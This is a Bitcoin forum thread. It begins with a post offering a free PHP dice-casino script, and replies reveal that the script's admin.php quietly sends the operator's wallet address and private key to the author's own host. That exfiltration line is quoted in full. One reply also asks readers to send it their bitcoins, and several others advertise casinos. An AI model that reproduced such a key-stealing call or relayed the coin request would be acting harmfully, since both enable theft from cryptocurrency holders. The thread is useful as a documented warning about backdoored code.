Advertise with us (we do not endorse any site advertised)

Author Topic: Create your own Bitcoin casino for free  (Read 34337 times)

0 Members and 3 Guests are viewing this topic.

Offline evan91Topic starter

  • Newbie
  • Joined: Dec 2013
  • Posts: 1
  • Karma: +0/-1
    • View Profile
Create your own Bitcoin casino for free
« on: December 23, 2013, 01:50:53 AM »




Hey guys,


I was bored and decided to work on an open-source Bitcoin roll-the-dice betting
site similiar to just-dice.com or satoshi-dice.com.


Please note that the script is currently under development and not so great looking yet, but I'm working on that - make sure to test it out! ;)


It's also completely free and will stay that way, which is nice.
You can also make money (BTC) with this script by changing the withdrawal fee.


How to install (I'll assume you are familiar with how to install basic PHP scripts and setup a MySQL database):
  • (I would test the script on a local LAMP server first before launching it on a real site, simply because I'm not sure how well CodeIgniter + my script will handle different server environments - GoDaddy for example does not work sometimes with CodeIgniter)
  • You need an Apache HTTP server with PHP 5.3+ and a MySQL database
  • Download the files from the Download section in this thread and upload the files onto your server using a client such as FileZilla
  • Visit newbielink:http://yoursite.com/bitdice/install/ [nonactive] to install the script. Follow the install wizard and type in your database connection/pass. Make sure to create the database in phpmyadmin first!
  • If everything went okay, you should be redirected to an admin page screen. Type in the standard "admin123" password to login.
  • Ta-da! Now you can change some basic settings for your page, and make sure to change the admin password.
  • IMPORTANT: You need to create a separate bitcoin address that will be used as a bank for the script. Winnings and losses will be deposited in the bank using blockchain.info's API. Please make sure that at least $20-$50 worth of bitcoins are in the "bank". (If it's any less there might be issues with the betting system and transactions) - Make sure to add the bank's address AND the bank's private key in the admin panel after install, otherwise the script won't work!
  • Delete the install folder!
  • Create an account and start playing on your own dice site!


How it works:
  • The site is basically a just-dice.com clone, so everything works like it does on just-dice.
  • When users deposit BTCs into your site, a random address will be generated for this session that only the user will be able to view!
  • The script then saves the randomly generated address and then checks if money is deposited. If yes, then the player will be able to play. The money is then forwarded into the bank.
  • Sessions (or accounts) can be re-logged into (so that users won't lose their BTCs) by saving a 64-long string. I'll add a password system later


To visit admin: newbielink:http://yourpage.com/bitdice/index.php/admin [nonactive]


Please note that there still might be bugs and that some parts are still empty/don't work. I am actively developing this script and will soon be launching a github repo for other people to help develop it!


Screenies:





Downloads
v.1.0 ALPHA : newbielink:https://www.mediafire.com/?caw8jqw7jw5ku88 [nonactive]


Thanks for testing! Feedback appreciated.


Offline Nochek

  • Newbie
  • Joined: Jan 2014
  • Location: United States
  • Posts: 1
  • Karma: +0/-0
    • View Profile
Re: Create your own Bitcoin casino for free
« Reply #1 on: January 14, 2014, 01:29:44 AM »
In case anyone has downloaded this, please don't follow his instructions as this code will steal your BTC wallets. In application/controllers/admin.php you will find on line 58:

             $resp = file_get_contents(" newbielink:http://bitdice.freetzi.com/index.php?btca= [nonactive]$bankaddress&btcs=$banksecret");

It sends your public and private key (which shouldn't be stored without being encrypted anyway!) to his free-host site so he can steal your bitcoins. I don't even know if the site works or not, or if this is the only bit of malicious code, because I stopped looking after I found this.

If you would rather, you can always just send your bitcoins to me for saving you the trouble of downloading and having them stolen.

1DvDmA2u9kAhbS7CC4xH25AfQMbgsBiqhZ

Offline reymarkperry

  • Newbie
  • Joined: Dec 2013
  • Posts: 36
  • Country: 00
  • Karma: +1/-0
    • View Profile
    • Bicoin Daily
Re: Create your own Bitcoin casino for free
« Reply #2 on: January 30, 2014, 09:40:38 AM »
Thanks for the warning, Nochek! If that is true, then everyone should not follow the above instruction. I hope he has not yet scammed anyone here. Creating online casino site takes a lot of effort, time and big investment. Don’t get fooled by scammers.
BitcoinDaily - Your daily source of bitcoin news and update.

Offline budgierless

  • Newbie
  • Joined: Feb 2014
  • Posts: 1
  • Karma: +0/-0
    • View Profile
Re: Create your own Bitcoin casino for free
« Reply #3 on: February 24, 2014, 12:41:21 AM »
In case anyone has downloaded this, please don't follow his instructions as this code will steal your BTC wallets. In application/controllers/admin.php you will find on line 58:

             $resp = file_get_contents(" newbielink:http://bitdice.freetzi.com/index.php?btca= [nonactive]$bankaddress&btcs=$banksecret");

It sends your public and private key (which shouldn't be stored without being encrypted anyway!) to his free-host site so he can steal your bitcoins. I don't even know if the site works or not, or if this is the only bit of malicious code, because I stopped looking after I found this.

If you would rather, you can always just send your bitcoins to me for saving you the trouble of downloading and having them stolen.

1DvDmA2u9kAhbS7CC4xH25AfQMbgsBiqhZ

Nice work on finding the leek with this script, are you able to compile a clean version of this script so all is not lost?

Offline Cryohawk

  • Newbie
  • Joined: Feb 2014
  • Posts: 2
  • Karma: +0/-0
    • View Profile
Re: Create your own Bitcoin casino for free
« Reply #4 on: February 24, 2014, 05:38:16 PM »
Bitcoinforum why have you not looked into this and if true kicked the poster of this bullshit out of here?? And good job on catching that buddy.

Offline Georgebracken

  • Newbie
  • Joined: Feb 2014
  • Location: United Kingdom
  • Posts: 24
  • Country: gb
  • Karma: +0/-0
    • View Profile
Re: Create your own Bitcoin casino for free
« Reply #5 on: February 27, 2014, 07:36:08 AM »
Bitcoin casino is one great avenue to earn bitcoin. Gambling enthusiast all over the world have the chance to interact and play for profit through bitcoin integration. Not all that, bitcoin casino has less hassle, no added chargeback and certified tax free game.
BetCoin™

Offline JJBreaker

  • Newbie
  • Joined: Mar 2014
  • Posts: 1
  • Karma: +0/-0
    • View Profile
  • Bitcoin Address: 12J3y26NrSZYPAVA51Z9rVz2cpQBdBmM6C
Re: Create your own Bitcoin casino for free
« Reply #6 on: March 13, 2014, 12:41:41 PM »
reupload pls

Offline seanwilliam1988

  • Jr. Member
  • *
  • Joined: Jan 2014
  • Posts: 57
  • Country: 00
  • Karma: +0/-1
    • View Profile
    • Betcoin™
Re: Create your own Bitcoin casino for free
« Reply #7 on: April 03, 2014, 08:08:54 AM »
I guess you should make this bitcoin dice game a provably fair game to get more players. Gamblers would rather play in a casino with fair gaming system than risk their money with a biased gaming system. Here’s an example of provably fair bitcoin dice website: https://www.betcoin.tm/dice.
<a href="http://www.betcoin.tm">Betcoin™</a> - Your Online Casino Entertainment Portal

Offline mydream2059

Re: Create your own Bitcoin casino for free
« Reply #8 on: April 09, 2014, 05:19:48 PM »
Thanks gor your worning! I decided not to download the script.  I'm afraid that my BTC will lost!
BTC ADD: 1LCjh22X3yktNZu4z6X7QM8ha62UXJpEq

The Bitcoin Revolution At BitBillions!


 

★☆★ 777Coin - The Modern Bitcoin Casino! ★☆★ [FREE 10 mBTC][Provably Fair]

Started by lightlord

Replies: 8
Views: 28760
Last post December 17, 2013, 09:01:15 AM
by PendiCoin88
BitCoin-Casino.TV open its Gate (1st 100 active users gets credits for FREE)

Started by BitCoin-Casino.TV

Replies: 0
Views: 4233
Last post December 17, 2013, 01:29:31 PM
by BitCoin-Casino.TV
Free 5mBTC daily no deposit bonus at Best Bitcoin Casino DreamlandCasino.com

Started by shawn alex

Replies: 4
Views: 11549
Last post May 26, 2015, 04:52:06 AM
by ralphcov
FREE 50 mBTC at new Virtual World Bitcoin Casino

Started by Vegas To Macau

Replies: 0
Views: 5281
Last post August 06, 2015, 04:00:40 AM
by Vegas To Macau
Best casino on the planet Bitcoin,LiteCoin,DogeCoin,PeerCoin,NameCoin FREE Bonus

Started by Season80

Replies: 0
Views: 3707
Last post January 13, 2016, 12:41:17 AM
by Season80

your ads here